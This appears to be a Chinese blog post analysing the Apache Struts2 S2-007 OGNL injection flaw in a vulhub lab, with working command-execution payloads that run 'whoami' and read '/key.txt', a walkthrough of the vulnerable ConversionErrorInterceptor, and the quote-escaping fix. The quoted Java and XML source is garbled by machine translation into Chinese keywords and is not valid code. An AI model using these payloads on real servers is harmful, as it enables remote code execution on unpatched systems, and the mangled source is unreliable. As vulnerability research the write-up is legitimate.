【Struts2-命令-代码执行突破分析系列】S2-007

前言

继上回S2-001之后,继续分析了S2-007,若有疏漏,还望多多指教。

进攻环境根据vulhub中的环境修改而来https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

这回的S2-007和上回的S2-001中断环境地址https://github.com/kingkaki/Struts2-Vulenv

有学者的师傅可以一起分析下

进攻信息

官方漏洞信息页面:https ://cwiki.apache.org/confluence/display/WW/S2-007

形成原因:

发生转换错误时,将用户输入评估为OGNL表达式。这允许恶意用户执行任意代码。

当配置了验证规则,类型转换出错时,进行了错误的字符串拆分,靴子造成了OGNL语句的执行。

进攻利用

这里我配置了一个UserAction-validation.xml验证表单

<?xml version =“ 1.0” encoding =“ UTF-8”?> 
<!DOCTYPE验证程序PUBLIC 
        “-// OpenSymphony Group // XWork Validator 1.0 // EN” 
        “ http://www.opensymphony.com/xwork/ xwork-validator-1.0.2.dtd“> 
<validators> 
    <字段 名称= “年龄” > 
        <field-validator  类型= “ int” > 
            <param  名称= “ min” > 1 </ param> 
            <param  name = ” max“ > 150 </ param> 
        </ field-validator> 
    </ field> 
</ validators>

限制了age的值只能为int,而且长度在1-150之间

然后在登录界面用户名和邮箱值随意,age部分替换我们的payload

'+(#application)+'

在age的值部分,成功有了回显

命令执行

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

 

 

修改whoami部分就可以执行任意命令

比如 打开根目录下的 key.txt文件:

 

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '

 

 

进攻分析

进攻主要发生在S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class:28

公共 字符串 拦截ActionInvocation  调用引发 异常 { 
    ActionContext  invocationContext  =  调用getInvocationContext (); 
    映射< String Object >  conversionErrors  =  invocationContext getConversionErrors (); 
    ValueStack  stack  =  invocationContext getValueStack (); 
    HashMap < 对象对象>  fakie  = ; 
    迭代器 i $  =  conversionErrors entrySet ()。迭代器();

    I $ hasNext ()) { 
        条目< 字符串对象>  条目 =  条目I $ next (); 
        字符串 propertyName  =  字符串条目getKey (); 
        对象 =  条目getValue (); 
        如果 shouldAddError propertyName的)) { 
            字符串 消息 =  XWorkConverter getConversionErrorMessage propertyName stack ); 
            对象 操作 =  调用getAction (); 
            if  ValidationAware的动作 实例 { ValidationAware va = ValidationAware )的动作; va addFieldError propertyName message ); } 
                   
                 
            

            如果 fakie  ==  null { 
                fakie  =  new  HashMap (); 
            }

            飞骑propertyName的getOverrideExpr 调用)); 
        } 
    }

    if  fakie  !=  null { 
        堆栈getContext ()。put “ original.property.override” fakie ); 
        调用addPreResultListener PreResultListener () { 
            公共 空隙 beforeResult ActionInvocation  调用字符串 发送resultCode { 
                地图< 对象对象>  飞骑 =  地图调用getInvocationContext ()。get “ original.property.override” ); 
                如果 fakie  !=  null { 
                    调用getStack ()。setExprOverrides fakie ); 
                }

            } 
        }); 
    }

    返回 调用invoke (); 
}

当类型出现错误的时候,就会进入这个函数

这里可以Object value = entry.getValue();看到,在中收回了预期的有效载荷

再来到后面的fakie.put(propertyName, this.getOverrideExpr(invocation, value));

跟进this.getOverrideExpr(invocation, value);

受保护的 对象 getOverrideExpr ActionInvocation  调用对象 { 
    return  “'”  +  value  +  “'” ; 
}

这也就解释了为什么payload的分开要加'++'就是为了闭合这里的分开的引号

对加入fakie的值值就变成了''+(#xxxx)+''的形式

进来后面放入了invocation值中,最后调用了invoke()解析OGNL成功代码执行

进攻修复

struts2.2.3.1对这个突破进行了修复,修复方法也异常简单,例如sql注入的addslashes,对其中的单引号进行了转义

getOverrideExpr函数中进行了StringEscape,从而无法封闭单引号,也就无法构造OGNL表达

posted @ 2020-04-16 11:56  Ananss  阅读(733)  评论(0编辑  收藏  举报
Live2D